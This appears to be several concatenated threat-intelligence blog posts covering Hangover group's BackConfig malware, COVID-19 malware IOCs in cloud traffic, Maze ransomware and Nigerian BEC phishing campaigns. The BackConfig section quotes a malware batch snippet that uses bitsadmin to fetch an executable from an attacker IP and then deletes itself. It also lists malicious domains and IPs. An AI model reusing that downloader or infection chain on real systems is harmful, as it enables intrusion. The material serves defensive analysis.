Despite the evolution over the years, some habits are hard to break. Firstly, every weaponized XLS Unit 42 has investigated loads a fake error message, such as the one shown in Figure 3 below, to trick the victim into thinking that the file is corrupt and thus nothing has -- or will -- load as intended. Another fictitious error message text has been used in the past often with poor spelling or grammar.
Figure 3. Example fake error message displayed to the victim.
Similarly, the version information metadata stored in all the Excel documents analyzed share the same Author and Last Modified By names - Testing.
The following subsections describe the campaigns and malware as highlighted by the three most recent milestones in the timeline figure above.
2019 Milestone: Multi-Component
Registration Form.xls (SHA256: be3f12bcc467808c8cc30a784765df1b3abe3e7a426fda594edbc7191bbda461) listed in Table 3 above provides an example of the types of lures used by the threat actors.
Upon opening the XLS and enabling the macro code, the picture in Figure 4 below is shown on top white-background cells. As the filename suggests, it’s a registration form and relates to the Naya Pakistan Housing program run by the Pakistani government to help solve the housing shortfall in the country. Eligible citizens include government employees and registration forms were due by October 15th, 2019 (extended through November 15th), meaning the timing and the lure of the campaign on October 25th were clearly planned to increase the chances of compromise.
Figure 4. Social engineering lure against Pakistan government in October 2019
As the PHP webpages did not exist at the time of writing, Unit 42 cannot prove the XLS file be3f12b... was hosted at the URL listed in row 1 of Table 3 above. However, because of the following points, we have high confidence in the campaign relationship between the two.
AutoFocus and VirusTotal first processed the XLS file be3f12b... on October 25th, 2019
VirusTotal processed the nsaimmigration... URL on the same day
A specific HTTP GET request URL using the notation nphp_registration_form.php?r= was processed in VirusTotal on the same day, and has relations to http://185.203.119[.]184/fin_div/session, which matches the IP address and URL structure in the VBS code dropped by the XLS be3f12b....
The name of the PHP webpage nphp_registration_form.php relates to the filename of the XLS.
The VBA macro code in the XLS file be3f12b... differed somewhat from that of the samples of the previous years. Instead of directly storing encoded EXE files or running batch shell commands directly from the VBA code itself, it retrieved the content from hidden columns in the Excel sheet, starting at column 27 or “AA”, which is likely to be off-screen for most people. Once the font colour was changed, the “setup” batch code component as per previous variants, and the new Visual Basic Script (VBS) downloader component were revealed in columns AA and AB, respectively, as shown in figure 5 below.
Figure 5. VBS downloader and BAT setup file revealed in the XLS sheet.
Macro VBA code in the XLS parses the content of the two columns line by line writing the contents to their respective files on disk and executing them following the same process flow as described below in Figure 6.
2019 Milestone: BITS and ZIPs
A more recent weaponized XLS file (SHA256: 021b030981a6db1ec90ccbd6d20ee66b554b7d8c611476e63426a9288d5ce68b) was analyzed by WildFire on November 15th, 2019 and exposed some new techniques. On this occasion, the VBA macro code contained a decimal-encoded ZIP file of only 1,062 bytes in size. Inside the ZIP archive were two text files that would be decompressed to a folder driverkit. One file, driverkit.bat, is the “setup” BAT file already discussed in this report and listed in the appendix section. The other file, Winmgt.txt, is an adaptation of the VBS downloaded also described in this report. However, instead of a direct HTTP download using an MSXML DOM object, this version writes the following contents to Winmgt_Drive.bat, which is executed by a third scheduled task created by the “setup” BAT file.
1
2
3
4
5
6
echo off
bitsadmin/transfer Microsoft_Update/download/priority high
http://185.203.119[.]184/winmgt/winmgt.exe
%USERPROFILE%\Adobe\Driver\pdf\winmgt.exe
del%0
2020 Milestone: Fine Tuning
The following execution flow diagram is based on one of the most recent weaponized documents Unit 42 has seen Invoice.xls (SHA256: 8892279f3d87bcd44d8f9ac1af7e6da0cfc7cf1731b531056e24e98510bea83c; first seen 2020-01-15).
The infection process consists of multiple components as just described. The “setup” batch (BAT) file coordinates much of the infection process of the BackConfig plug-in loader once the VBA has written it to disk and executed it.
Figure 6. Execution flow of BackConfig malware
The numbered bullet list below describes Figure 6.
Text file Drive.txt (SHA-256: 4f75622c2dd839fb5db7e37fb0528e38c4eb107690f51f00b5331e863dc645d1) is created and contains the decimal-decoded VBS content.
Similarly, the VBA code then writes batch code to another text file - Audio.txt. The content of both files is shown in the appendix section of this report.
Audio.txt is renamed to Audio.bat and executed.
Audio.bat cleans up any files and folders related to previous infections, and recreates the required environment including creating the aforementioned pid.txt file, and setting various folders and files to be hidden from a default Windows Explorer view. The contents of pid.txt is the victim’s computer name concatenated with a hyphen followed by a random number, although I believe the code used would not work as intended.
Audio.bat continues by creating two scheduled tasks referencing two files that are yet to exist: dphc.exe will run every 10 minutes and Drive.vbs at 20 minute intervals.
Finally, before deleting itself, Audio.bat will rename Drive.txt to Drive.vbs. When Drive.vbs is eventually executed by the task scheduler, it will download the BackConfig executable payload. In the case of file 8892279f3... the remote location is http://185.203.119[.]184/Dropbox/request.
When dphc.exe is eventually executed by the task scheduler, it first checks for the presence of pid.txt (step 4.) and only continues if the file exists.
Ultimately, the XLS writes two files to disk, one of which -- the BAT -- immediately modifies some system settings and creates two scheduled tasks. However, this behaviour may not be enough to determine the components as malicious. Only after 20 minutes will the task scheduler execute the VBS downloader component and launch the BackConfig loader EXE, by which time analysis systems may have stopped monitoring.
ATT&CK
The following table describes the TTPs associated with the multiple campaigns described in this report.
Tactic
Technique (Mitre ATT&CK ID)
Technical Information Gathering
Acquire OSINT data sets and information (T1247)
Conduct social engineering (T1249)
Adversary Opsec
Compromise 3rd party infrastructure to support delivery (T1312)
Build Capabilities
Create custom payloads (T1345)
Obtain/re-use payloads (T1346)
Stage Capabilities
Upload, install, and configure software/tools (T1362)
Initial Compromise
Spear Phishing Link (T1192)
Execution
User Execution (T1204)
Exploitation for Client Execution (T1203)
Execution, Persistence
Scheduled Task (T1053)
Defense Evasion
Code Signing (T1116)
Deobfuscate/Decode Files or Information (T1140)
Hidden Files and Directories (T1158)
Obfuscated Files or Information (T1027)
Defense Evasion, Execution
Scripting (T1064)
Defense Evasion, Persistence
BITS Jobs (T1197)
Command & Control
Commonly Used Port (T1043)
Standard Application Layer Protocol (T1071)
Standard Cryptographic Protocol (T1032)
Remote File Copy (T1105)
Conclusion
The Hangover group (aka Neon, Viceroy Tiger, MONSOON) is active and targeting, according to Unit 42’s visibility, government and military organisations in South Asia using spear-phishing emails containing letters or government forms to lure victims into browsing to compromised websites serving weaponized Excel documents that install the BackConfig Trojan. Almost exclusively, Unit 42 has seen the use of weaponized documents that require user execution. Only once in the last six months have we seen use of exploits to circumvent the need for the user to execute any part of the installation chain.
The evolution of BackConfig’s primary and secondary payloads has seen different methods used for executing commands and deploying executables both with and without obfuscation.
The latest versions contain modular components making it easier to update and re-use code in order to rapidly deploy their campaigns in a timely manner to have the highest chance of success. The method in which the latest samples execute also indicates the group’s focus on trying to evade sandbox and other automated analysis systems by breaking down malicious activity into chunks that each seem relatively benign.
Protections:
Cortex XDR protects endpoints from all malware, exploits and fileless attacks associated with Hangover actors.
WildFire® cloud-based threat analysis service accurately identifies samples associated with these malware families.
Threat Prevention provides protection against the known client and server-side vulnerability exploits, malware, and command and control infrastructure used by these actors.
URL Filtering identifies all phishing and malware domains associated with these actors and proactively flags new infrastructure associated with these actors before it is weaponized.
Users of AutoFocus™ contextual threat intelligence service can view malware associated with these attacks using the following tags:
Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org. (This is added to blogs pre-shared with the CTA, when loaded into WordPress it will be added when appropriate).
Indicators of Compromise
Delivery Documents
56349cf3188a36429c207d425dd92d8d57553b1f43648914b44965de2bd63dd6 8892279f3d87bcd44d8f9ac1af7e6da0cfc7cf1731b531056e24e98510bea83c 021b030981a6db1ec90ccbd6d20ee66b554b7d8c611476e63426a9288d5ce68b be3f12bcc467808c8cc30a784765df1b3abe3e7a426fda594edbc7191bbda461 0aa5cf1025be21b18ab12d8f8d61a6fa499b3bbcdbdced27db82209b81821caf ed638b5f33d8cee8f99d87aa51858a0a064ca2e6d59c6acfdf28d4014d145acb 752c173555edb49a2e1f18141859f22e39155f33f78ea70a3fbe9e2599af3d3f (RTF using CVE-2017-11882)
The following list of self-signed digital certificates is not exhaustive, and only relates to those seen on BackConfig PE executables samples over the past twelve months.
Unit 42 researchers found that public cloud infrastructure has communicated with domains known to distribute COVID-19 themed malware. On March 24, 2020, Unit 42 published a blog discussing attack patterns used by malicious actors in relation to the novel Coronavirus (COVID-19). Taking these findings a step further, researchers attempted to uncover if there are malicious COVID-19 related events taking place within public cloud infrastructure. If indications of this activity were found, how could organizations protect themselves?
Researchers identified 300+ COVID-19 themed malware samples that communicated with 20 unique IP addresses and domain indicators of compromise (IOCs). After querying Prisma Cloud for network connections to these 20 suspicious IOCs between March 1 and April 7, 2020, researchers found a total of 453,074 unique network connections across 27 unique cloud environments (see Image 1).
450,000+ cloud-based network connections with COVID-19 themed malware IoCs
Across 27 unique and potentially compromised cloud environments
Clear indications of communication with nodes known to perform command and control (C2) operations related to COVID-19 themed malware
Image 1. Workflow Diagram
It is not clear if each of the 27 identified organizations were in fact compromised with COVID-19 themed malware, as researchers were not able to view the network traffic nor did they receive the malware samples themselves which initiated the witnessed connections. Nonetheless, these network connections should be considered highly suspicious due to the fact that the destination endpoints have a documented history of malware operations.
The Research
Using AutoFocus, a Palo Alto Networks proprietary tool for malware-based threat intelligence research, Unit 42 researchers queried for malware samples that established network connections to domains that contained at least one of the following keywords: “Corona”, “COVID”, “Pandemic”, or “Virus”. Researchers then filtered the results based upon timestamps between March 1 and April 7, 2020. The metadata of these network connections was then analyzed and compared to the network traffic Palo Alto Networks Prisma Cloud maintains.
CAVEAT: Given the nature of network traffic, the network traffic content was not available for analysis, leaving only the network connection’s metadata as a sole means to identify malware network traffic.
AutoFocus returned more than 446 malware samples fitting COVID-19 themed domain network connections. These samples provided 20 unique domains and hard-coded IP addresses that could potentially serve or maintain the malware infrastructure. By resolving the domains to the most recently known host IP address, these IP addresses were used to query cloud network traffic connections between March 1 and April 7, 2020. The query returned 453,074 unique network connections from cloud environments, which were communicating to systems directly tied to the DNS activity of known COVID-19themed malware, see Image 1 above.
Table 1 lists the 18 IP addresses, which were identified within Prisma Cloud as well as what and if they are maintained by a content delivery network (CDN) provider.
IP Address
CDN-Provider
Count
8.251.31[.]254
Level3
91026
95.101.78[.]106
Akamai International
83624
95.101.78[.]82
Akamai International
81979
8.250.169[.]254
Level3
51091
8.250.183[.]254
Level3
49611
8.251.5[.]254
Level3
46864
8.251.15[.]254
Level3
40262
74.208.236[.]42
6742
120.138.17[.]203
Telstra Corp
765
104.28.9[.]246
Cloudflare Inc
458
104.31.74[.]50
Cloudflare Inc
420
5.79.72[.]163
72
31.170.167[.]123
66
103.140.250[.]215
32
51.77.161[.]45
27
45.81.226[.]17
19
91.234.99[.]234
12
45.128.134[.]14
4
Total Result
453074
Table 1. Total COVID-19 themed malware sample DNS activity samples queried through Prisma Cloud
The yellow highlighted values indicate IP addresses that resolve to CDN hosting platforms like Cloudflare, Level 3, and Akamai Hosting. CDN networks provide limited network information outside of session metadata. Given this limitation, researchers chose to exclude CDN IP addresses from this analysis no matter the likelihood of malicious content. Unit 42 also published the blog COVID-19: Cloud Threat Landscape which details CDN website hosting within cloud platforms.
Researchers were able to positively identify seven IP addresses that were witnessed as the destination network connection from 27 unique Prisma Cloud environments. These IP addresses resolve to independently hosted, non-CDN web servers, which have a known history of malicious activity both from the perspective of Unit 42 and from other reputable third-party threat sources like RiskIQ’s PassiveTotal and Hyas Insight. These seven IP addresses, and the domains from which they resolve, significantly increase the likelihood that they serve or maintain malicious content directly associated with COVID-19 themed malware and they are actively communicating with cloud environments, see Table 2.
IP Address
Count
74.208.236.42
6742
5.79.72.163
72
31.170.167.123
66
103.140.250.215
32
51.77.161.45
27
45.81.226.17
19
91.234.99.234
12
Total Result
6970
Table 2. Non-CDN hosted domains and their associated Prisma Cloud network connections
Image 1 displays the network traffic percentages witnessed by these seven IP addresses.
Image 1. Percentage breakdown of suspicious network traffic
Historic Malware Activity
Researchers returned to AutoFocus to refine the malware sample results of these IP addresses. Researchers specifically targeted any malware sample that contains DNS activity with any IP address that is listed in Table 2. The results returned a total of 185 unique malware samples with an assortment of connections to known malware families and exploits like LokiBot, NanoCoreRAT, vulnerability exploits CVE-2017-11882, CVE-2017-0199, and CVE-2012-0158, as well as having several connections to malware operations like Windows Word phishing documents and RTF_ASLR bypass.
While these malware families and exploits appear to have DNS activity linking them to these seven IP addresses, researchers are not suggesting that there exists any link with COVID-19 themed malware and these malware families or exploits outside of their IP infrastructure or DNS activity. For example, it is possible these particular systems could host and provide several variants of malware and it is also possible that more than one malicious group hosts and maintains their own C2 operations on one or more of the systems using the IP addresses in Table 2.
Additionally, each of these seven IP addresses was flagged as “Blacklisted by Third Parties” within PassiveTotal’s RiskIQ based upon the grounds of phishing, spam, C2 infrastructure, and malware distribution. With the AutoFocus evidence paired with the evidence gathered from RiskIQ’s PassiveTotal and Hyas Insight, researchers feel highly confident in determining these IP addresses as malicious and recommend that no cloud or traditional environment maintain any network communication with them.
Port Analysis
Researchers also analyzed the network sessions to determine the protocols most commonly used by the IP addresses listed in Table 2. As can be seen from the network traffic metadata, shown in Table 3, TCP Port 80 and TCP Port 443 make up 97% of the network traffic to and from these malicious IP addresses, although there are suspicious connections present on ports 25, 110, and 445.
Destination Port
Destination IP
Count
25
5.79.72.163
8
53
51.77.161.45
2
80
103.140.250.215
20
31.170.167.123
39
45.128.134.14
4
5.79.72.163
4
51.77.161.45
14
74.208.236.42
4086
110
51.77.161.45
3
443
103.140.250.215
12
31.170.167.123
27
5.79.72.163
56
51.77.161.45
8
74.208.236.42
2655
445
45.81.226.17
11
74.208.236.42
1
3389
45.81.226.17
8
5.79.72.163
4
Total Result
6962
Table 3. Destination port analysis of suspicious COVID-19themed network communications
Drill Down
For the remainder of this blog, the following four IP addresses will be specifically isolated as they hold the highest likelihood for serving or maintaining malicious COVID-19 themed content to cloud infrastructure, 74.208.236[.]42, 31.170.167[.]123, 5.79.72[.]163, and 51.77.161[.]45.
74.208.236[.]42
The IP address 74.208.236[.]42 comprised the majority of the network connections with 97% of the non-CDN traffic originating from cloud environments. This IP address is the sole resolution for the domain unlimitedimportandexport[.]com, which is flagged for malicious content regarding command and control infrastructure, malware distribution, and phishing operations using COVID-19 themed attacks.
AutoFocus contained 15 malware samples that perform network connections to the domain unlimitedimportandexport[.]com and it's resolving IP address 74.208.236[.]42, with a first seen date between March 1 and April 7, 2020. AutoFocus had tagged each of these malware samples as either ExcelLaunchPowerShell (12) or WinwordLaunchPowershell (7). No other domain was identified resolving to this IP address from any other AutoFocus samples. While the domain is not the only site hosted upon the system residing at 74.208.236[.]42, this IP address is to be considered highly suspicious and likely delivers malicious content to cloud environments.
31.170.167[.]123
Unit 42 released a blog on April 12, 2020, detailing Malicious Attackers Target Government and Medical Organizations With COVID-19 Themed Phishing Campaigns. Within that report, the IP address 31.170.167[.]123, which resolves from the domain www.tempinfo[.]96[.]it, was identified as the C2 node used to receive the username and hostname from the victim organization, which was then used to generate an AES encryption key. This encryption key is then returned to the victim by means of an HTTP POST from the URL www.tempinfo[.]96[.]lt/wras/savekey.php, and the encryption process is initiated.
This IP address was found to have network communications with three organizations within the Prisma Cloud network metadata. However, the organizations involved were not government or medical organizations, as they were detailed within the previous Unit 42 blog, but rather included a US-based business data and analytics firm, a US-based market analysis firm, and a US-based network analytic company. This IP indicator should be considered highly suspicious and all network communications with it should initiate an incident investigation.
5.79.72[.]163
The IP address 5.79.72[.]163 was witnessed interacting with six of the 27 disparate cloud environments. The IP address resolves to the domain teknik[.]io, which maintains a firm history of malicious actions including malware distribution operations. No other domain has been seen resolving to this IP address and any connections to this IP address should be considered suspicious.
AutoFocus contains 143 malware samples, associated with this domain and the resolving IP address, with a first seen date between March 1 and April 7, 2020. The vast majority of these malware samples were tagged as exploiting CVE-2017-11882 (130) or CVE-2017-0199 (21), with a couple of samples also tagged as LokiBot (10) and NanoCoreRAT (4). The malware appears to center around Windows operating systems and focuses on Rich Text File documents to infect systems. All network traffic to or from this domain and its resolving IP address should be considered highly suspicious and efforts should be made to terminate future network connections.
51.77.161[.]45
The IP address 51.77.161[.]45 has been linked to COVID-19themed malicious content via the domain kplico[.]com. This domain has been put on third-party denylists due to malware distribution and phishing attempts, and the system only appears to host-specific domains at specific times. These domains appear to rotate across 16 predominately Iranian-based domains
Analysis of the malware samples gathered from AutoFocus only consisted of three positive malware samples first seen during the March 1 through April 7, 2020 timeframe used for this research, tagged as CVE-2017-11882,CVE-2017-0199, and WinwordLaunchPowershell, however, there have been a total of 11 confirmed malware samples since January 27, 2020. All known malware samples make DNS requests to the domain kplico[.]com and Autofocus tags the majority of the older samples as NanoCoreRAT (6).
Conclusion
Of the 300+ malware samples identified to communicate with known COVID-19 related malware, 20 unique IP addresses and domains were identified. Network traffic from all known Prisma Cloud environments was queried using these 20 suspicious IP addresses and domains and a total of 453,074 unique network connections were identified between March 1 and April 7, 2020, see Image 1 above.
Of these network connections, seven IP addresses were identified, which gave a high likelihood of positive malware communications with cloud infrastructure. These communications are highly likely to contain malicious transmissions to and from infrastructure known to host COVID-19 related operations.
It is not clear if each of the 27 identified organizations was in fact compromised with COVID-19 themed malware, as researchers were not able to view the network traffic nor did they receive the malware samples themselves which initiated the witnessed connections. It is critical that every organization monitor their cloud infrastructure network communications to ensure that these types of malicious communications are identified and blocked. CNSP methodologies must be integrated into cloud infrastructure, development, and production environments to ensure these COVID-19themed attacks cannot be maintained within a cloud infrastructure.
Mitigation
Palo Alto Network Next-Generation Firewalls
Each of the IOCs listed within the following IOC section were added to the PAN-DB, which will allow each next-generation firewall, both hardware and VM-Series, to block network traffic to the identified IP addresses and domains, as well as block any of the malware samples listed within the report.
Prisma Cloud
Prisma Cloud has taken its first steps into integrating AutoFocus Indicators of Compromise (IoCs) into its operation base to ensure that cloud organizations can quickly identify when their cloud infrastructure communicates with known malicious malware. Now that Prisma Cloud combines AutoFocus with its ability to monitor cloud endpoints, detect malicious actions, and alert upon critical vulnerabilities, Prisma Cloud is able to monitor and protect single, hybrid, and multi-cloud environments using proven threat intelligence.
Cloud Native Security Platforms
Integrate Cloud Native Security Platforms (CNSP) into the CI/CD pipeline to ensure that cloud infrastructure is properly vetted for security risks. CNSPs share context about infrastructure, PaaS, users, development platforms, data and application workloads across platform components to enhance security. CNSP offers organizations the ability to deliver secure cloud infrastructure while simultaneously using the hallmarks of cloud, security automation, secure scalability, manageability, and secure on-demand resourcing.
IaC Scanning
Every Infrastructure-as-Code (IaC) template used within both development and production environments should be scanned for misconfigurations and vulnerabilities prior to its use. According to the Unit 42 Cloud Threat Report: Spring 2020, more than 42% of all IaC templates pulled from GitHub contain at least one misconfiguration or vulnerability.
Since the beginning of the calendar year, Palo Alto Networks has detected an uptick in Maze ransomware samples across multiple industries. As a result, we've created this general threat assessment post on the Maze ransomware activities and full visualization of these techniques can be viewed in the Unit 42 Playbook Viewer.
Maze ransomware, a variant of ChaCha ransomware, was first observed in May 2019 and has targeted organizations in North America, South America, Europe, Asia, and Australia. This ransomware is typically distributed via emails containing weaponized Word or Excel attachments. However, it has also been distributed via exploit kits such as the Spelevo Exploit Kit, which has been used with Flash Player vulnerabilities CVE-2018-15982 and CVE-2018-4878. Maze ransomware has also utilized exploits CVE-2019-11510 (Pulse VPN), as well as CVE-2018-8174 (Internet Explorer) to get into a network. The malware first establishes a foothold within the environment. It then obtains elevated privileges, conducts lateral movement, and begins file encryption across all drives. However, before encrypting the data, these operators may exfiltrate the files to be used for further coercion, including public exposure. Without the proper protections in place, a Maze ransomware infection will cripple normal business operations, and sensitive information will be compromised, resulting in a monetary loss.
Maze has not only been observed globally, but also affecting varying industries, which include: finance, technology, telecommunications, healthcare, government, construction, hospitality, media and communications, utilities and energy, pharma and life sciences, education, insurance, wholesale, and legal. On March 26, 2020, McAfee published a report providing a detailed overview of the Maze ransomware.
Palo Alto Networks Cortex XDR contains an Anti-Ransomware Protection module, which targets encryption-based activities associated with ransomware. Customers can also review activity associated with this Threat Brief via AutoFocus.
Impact Assessment
Several adversarial techniques were observed in this activity.
The following measures are suggested within Palo Alto Networks products and services for Maze ransomware:
Deploy Cortex XSOAR Playbook - Ransomware Manual for incident response
Table 1. Course of Action for Maze Ransomware † These capabilities are part of the NGFW security subscriptions service
Recently, malicious operators behind the Maze ransomware activities compromised multiple IT service providers. These operators were also able to establish a foothold within another victim’s network through insecure Remote Desktop Protocol and other remote service connections or by brute-forcing the local administrator account. Organizations should be mindful of potential compromises through third-party sources and ensure strong passwords are used for all systems capable of remote access.
It was also reported that Maze operators pay special attention to cloud backups on the compromised network. If the operators were to obtain login credentials, they are then able to download all backup data to an actor controlled server. Organizations should ensure that all cloud backup files are properly stored and protected.
Threat Education
What is Ransomware?
Ransomware is a criminal business model that uses malicious software to hold valuable files and other data for ransom. Victims of ransomware attacks may have their operations degraded or shut down entirely.
Palo Alto Networks customers can review activity associated with this Threat Brief via AutoFocus using the following tag: Maze, SpelevoEKFlashContainer
Palo Alto Networks Cortex XDR contains an Anti-Ransomware Protection module. This module targets encryption-based activity associated with ransomware. Cortex XDR contains defined behavioral indicators of compromise designed to detect anomalies within your network.
The suggested courses of action in this report are based on the information currently available to Palo Alto Networks and the capabilities within Palo Alto Networks products and services.
Focusing on one of the most active subsets of the global threat landscape, Palo Alto Networks Unit 42 tracks Nigerian cyber criminals involved in Business Email Compromise (BEC) activities under the name SilverTerrier. Over the past 90 days (Jan. 30 - Apr. 30), we have observed three SilverTerrier actors/groups launch a series of 10 COVID-19 themed malware campaigns. These campaigns have produced over 170 phishing emails seen across our customer base. While broad in their targeting, these actors have exercised minimal restraint in terms of targeting organizations that are critical to COVID-19 response efforts. Specifically, we find it alarming that several of these campaigns recklessly included targets at government healthcare agencies, local and regional governments, large universities with medical programs/centers, regional utilities, medical publishing firms, and insurance companies across the United States, Australia, Canada, Italy, and the United Kingdom.
According to the recently released annual report from the Internet Crime Complaint Center (IC3), the Federal Bureau of Investigation (FBI) observed a record 23,775 BEC attacks in 2019. Significantly greater than all other categories of cybercrime over the same period, these attacks resulted in an estimated US$1.77 billion in global losses.
With the global impacts of COVID-19, an unprecedented number of corporations are expediating their cloud infrastructure migrations, all while transitioning to a largely remote workforce that is understandably interested in all topics related to the virus. Given this trend, it should come as no surprise that BEC actors are seizing opportunities to exploit the situation through tailored phishing campaigns related to COVID-19.
None of the malicious campaigns mentioned in this blog were successful in infecting their intended targets. Palo Alto Networks security service offerings (URL Filtering, WildFire, and Threat Prevention) detect and classify all samples and associated infrastructure as malicious.
Actor 1
We identified the most pronounced activity as a series of eight campaigns that are either directly related, or within one to two degrees of separation, from a SilverTerrier actor that is well-known across the cybersecurity community. For the purposes of this blog, we will refer to this individual as Actor 1.
Campaign 1
The first campaign was launched on January 30, 2020 with variations of the email subject sent in both English and Indonesian. Attached to the email was a sample of Lokibot malware disguised as an Indonesian health department document. Upon infecting a victim, the malware was designed to call out to petroindonesia[.]co[.]id.
Table 1. Indicators from the first campaign
Campaign 2
A little more than a month later, we observed a single email sent to a major utility provider in the United States. This message was crafted to appear as if it were an email that had been forwarded from the “UN,” presumed to be the United Nations. Attached to the email was a Microsoft Excel spreadsheet containing text written in the Afrikaans language (Figure 1). Upon opening, the file leverages the CVE 2017-11882 vulnerability to call out and download an executable called “dutchz.exe” from the domain uzoclouds[.]eu and subsequently attempts to connect to via SMTP to mailhostbox[.]com. Although Microsoft has released security updates for this vulnerability, it remains in common use amongst cyber criminals. In attributing this activity, the domain uzoclouds[.]eu stands out as being directly associated with Actor 1, and the Excel file itself was last edited by modexcomm which is a known alias for this actor.
Figure 1. Content and translation of UPDATE!!!.xlsxTable 2. Indicators from the second campaign
Campaign 3
On March 23, 2020 a third campaign was discovered with several phishing emails sent to an Australian health insurance provider. This time the subject and attachment were scoped to portray an order form for new face masks. Similar to the previous campaign, the attached RTF document leveraged the CVE 2017-11882 vulnerability to call out to both posqit[.]net and bit[.]ly, thus taking advantage of a URL shortening service to obscure one of the connections. Per the research and analysis blog by Cyren, this sample downloads and installs AgentTesla malware.
Table 3. Indicators from the third campaign
Campaign 4
Beginning the next day (March 24) and continuing through April 7, 2020, a fourth, more complex, campaign was observed. This time, three different email accounts were used to send three different malicious attachments. Common amongst all of these phishing attempts was the same email subject relating to COVID-19 supplies. Noting that email subjects are not typically used as a basis for establishing correlation between phishing campaigns, we believe that in this case the uniqueness of the subject (to include identical capitalization and punctuation), combined with similar attachment names and malware families provides a sufficient pattern to suggest that these three events are related.
The first emails were sent to several recipients, including a university in the United States with a large medical program. Consistent with previous campaigns, the attachment was a Microsoft Office document that leveraged the CVE 2017-11882 vulnerability. More specifically, it was a protected Excel file with the blurred heading “Galaxy International Trading Limited” that upon being opened, called out to both mecharnise[.]ir and metadefenderinternationalsolutionfor[.]duckdns[.]org to download additional executables on victim machines.
Figure 2. Campaign 4 Email Targeting US University - Sample Products.xlsx
Next, we saw a single phishing email sent to a Canadian health agency. Setting itself apart from previous samples, this attachment was in fact a sample of AgentTesla packaged as “Product_Sample_List.exe” inside a compressed RAR file. After infecting a potential victim, this file was configured to use SMTP for its command and control with coffiices[.]com.
Finally, the third set of emails were sent to several recipients, including an Australian energy company. Consistent with the previous email, this set once again included a sample of AgentTesla packaged as “Sample Product.exe” inside a compressed RAR file. Additionally, similar to the second campaign, this sample was configured to connect to an account at mailhostbox[.]com for command and control.
Table 4. Indicators from the fourth campaign
Linking Campaigns 1-4
In examining the connection between Actor 1, Nigerian cybercrime, and these first four phishing campaigns, we found that when malware linkages from these campaigns and historical BEC activity were overlaid with insights afforded by a weakness in Lokibot malware (Malbeacon data), several interesting connections emerged (Figure 2). While not definitive in attributing all of this activity to Actor 1, these connections chart a path originating with Actor 1’s infrastructure, through the infrastructure for these new COVID-19 campaigns, and back to Nigeria.
At the top of our analysis, we start with four European Union (.eu) domains that are directly attributed to Actor 1’s previously identified BEC activity. Solid lines connecting the domains and IP addresses are based on insights provided by the actor’s employment of Lokibot malware, while dashed lines represent the existence of malware samples that connect to both domains. Following the link to hojokk[.]com, we discovered malware hosted in a folder called “MMC.” While we lack insight into Actor 1’s middle name, his first and last initial are coincidently “MC.” Moreover, following additional connections to and from this domain, we discovered several links to Nigeria, as well as malware overlap with posqit[.]net, which we will discuss further in a subsequent campaign below.
Focusing on mecharnise[.]ir, we found malware overlaps with two of Actor 1’s domains. Moreover, we discovered shared Lokibot malware connections to two specific Nigerian IP addresses that both overlap with petroindonesia[.]co[.]id.
Figure 3: Infrastructure connections for campaigns 1-4
Campaign 5
Using these connections as a starting point, we then began our analysis of campaign five, which began on March 26, 2020. Similar to the previous campaign, we noted multiple malware samples and sending accounts, to include spoofing a clinical research organization in the United States.
The first email was seen by a single customer and was packaged once again as a purchase order form for COVID-19-related products. An Excel document was attached and configured to exploit the CVE 2017-11882 vulnerability in order to download and run an executable file mapped to systemserverrootmapforfiletrn[.]duckdns[.]org. Similar to previous campaigns, the downloaded file then connected over SMTP to an account at mailhostbox[.]com. Additionally, it’s worth noting that the Excel attachment was seen in a separate BEC style campaign the same day (see Figures 4. and 5.) and that the document also contained the blurred title of “Galaxy International Trading Limited,” consistent with the fourth campaign. Since the exact same file was sent in multiple phishing campaigns using different themes on the same day, we can assert with greater confidence that these attacks are connected.
Figure 4. Separate BEC Campaign with the Same AttachmentFigure 5. Campaign 5 Sample Sent from Spoofed US Clinical Research Org. - PO For-COVID-19 ProductS.xlsx
On March 29, 2020, a second phishing email was sent to a government agency in the United States with the same subject and filename. However, this time the attachment was AgentTesla malware packaged as an executable file that, once again, connected to an account at mailhostbox[.]com for command and control. Furthermore, this email was sent from the domain reynoldsgh[.]com which maintains an active website that appears incomplete and is potentially fraudulent, with a Ghana phone number listed under contact information.
Figure 6. Screenshot of reynoldsgh[.]comThe third series of emails arrived on April 6, 2020. Sent to a medical publishing company in Europe and a government agency in the United States, this email also included a sample of AgentTelsa malware configured to use SMTP for communication with an account at mailhostbox[.]com.
Table 5. Indicators from the fifth campaign
Campaign 6
Following an emerging trend of using Dynamic DNS services offered by DuckDNS, on March 30, 2020 we identified a single phishing email disguised as a vessel delay letter from a potentially spoofed shipping company in Singapore. A Word document was attached to the email with a CVE 2017-11882 exploit that called out to kungfrdyeducationalinvestment8agender[.]duckdns[.]org to download another document, and an executable file assessed to be Formbook malware, based on a report by Infoblox.
Table 6. Indicators from the sixth campaign
Dynamic DNS Clusters
Deriving linkages from the connections used in campaigns four through six proved exceptionally challenging based on the function and anonymity afforded by dynamic DNS services. However, by pivoting through several layers of obfuscation, we identified three clusters of DuckDNS hosts with links to Nigeria. While difficult to attribute all of this activity directly to Actor 1, the malware overlap seen in the third campaign with mecharnise[.]ir , combined with malware packaging similarities (CVE-2017-11882) and a Nigerian nexus, all lead us to believe that this activity is likely related within one or two degrees of separation from Actor 1.
Starting with metadefenderinternationalsolutionfor[.]duckdns[.]org from the fourth campaign, we quickly found an initial cluster of five hosts that were all related based on an IP connection and their creation dates. Coincidently, this cluster included another host with a COVID-19-related name seen in the fifth campaign: systemserverrootmapforfiletrn[.]duckdns[.]org. Researching these hosts, we found several additional samples of malware packaged as Microsoft Word and Excel documents with the CVE-2017-11882 vulnerability and also found additional malware overlaps.
Table 7. Dynamic DNS Cluster 1
Further analysis of the IP address connection revealed a second cluster of hosts linked to an additional 71 samples of malware with traditional BEC themes.
Table 8: Dynamic DNS Cluster 2
Following the malware link between cluster 1 and 23[.]95[.]132[.]48, we discovered that this IP address provided command and control for over 200 samples of Lokibot malware. The vast majority of these samples were configured to call back to a dynamic DNS host in order to download an executable file, before calling out to the IP address for command and control. Pivoting from these samples, we identified a third cluster containing 48 hosts with consistent naming patterns. Interestingly, records show that many of these hosts were established within days of the second cluster, and while they point towards IP addresses in Vietnam, they were initially established using Nigerian infrastructure.
Table 9. Dynamic DNS Cluster 3
